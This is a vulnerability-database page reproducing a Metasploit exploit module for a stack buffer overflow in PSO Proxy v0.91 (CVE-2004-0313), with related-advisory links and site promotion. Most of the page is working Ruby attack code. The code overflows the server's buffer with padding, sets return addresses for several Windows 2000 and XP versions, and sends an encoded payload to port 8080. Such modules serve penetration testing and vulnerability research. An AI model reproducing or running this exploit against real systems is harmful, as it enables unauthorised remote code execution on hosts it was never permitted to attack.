Lucene search
K

PSO Proxy v0.91 Stack Buffer Overflow

🗓️ 09 Sep 2007 22:37:43Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

PSO Proxy v0.91 Stack Buffer Overflow in PSO Proxy v0.91 web server. Stack overflow occurs with excessively long string from client

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2004-0313
9 May 201000:00
circl
CVE
CVE-2004-0313
18 Mar 200405:00
cve
Cvelist
CVE-2004-0313
18 Mar 200405:00
cvelist
Exploit DB
PSOProxy 0.91 - Stack Buffer Overflow (Metasploit)
9 May 201000:00
exploitdb
NVD
CVE-2004-0313
23 Nov 200405:00
nvd
Packet Storm
PSO Proxy v0.91 Stack Overflow
26 Nov 200900:00
packetstorm
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PSO Proxy v0.91 Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
        If a client sends an excessively long string the stack is overwritten.
      },
      'Author'         => [ 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-0313' ],
          [ 'OSVDB', '4028' ],
          [ 'EDB', '156' ],
          [ 'BID', '9706' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 370,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
        # Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
          [ 'Windows 2000 Pro SP0-4 English',  { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
          [ 'Windows 2000 Pro SP0-4 French',   { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
          [ 'Windows 2000 Pro SP0-4 Italian',  { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
          [ 'Windows XP Pro SP0/1 English',    { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
          [ 'Windows XP Pro SP2 English',	     { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2004-02-20'
      ))

    register_options(
      [
        Opt::RPORT(8080),
      ])
  end

  def check
    connect
    sock.put("GET / HTTP/1.0\r\n\r\n")
    banner = sock.get_once
    if (banner.to_s =~ /PSO Proxy 0\.9/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    exploit = rand_text_alphanumeric(1024, payload_badchars)
    exploit += [target['Ret']].pack('V') + payload.encoded

    sock.put(exploit + "\r\n\r\n")

    disconnect
    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation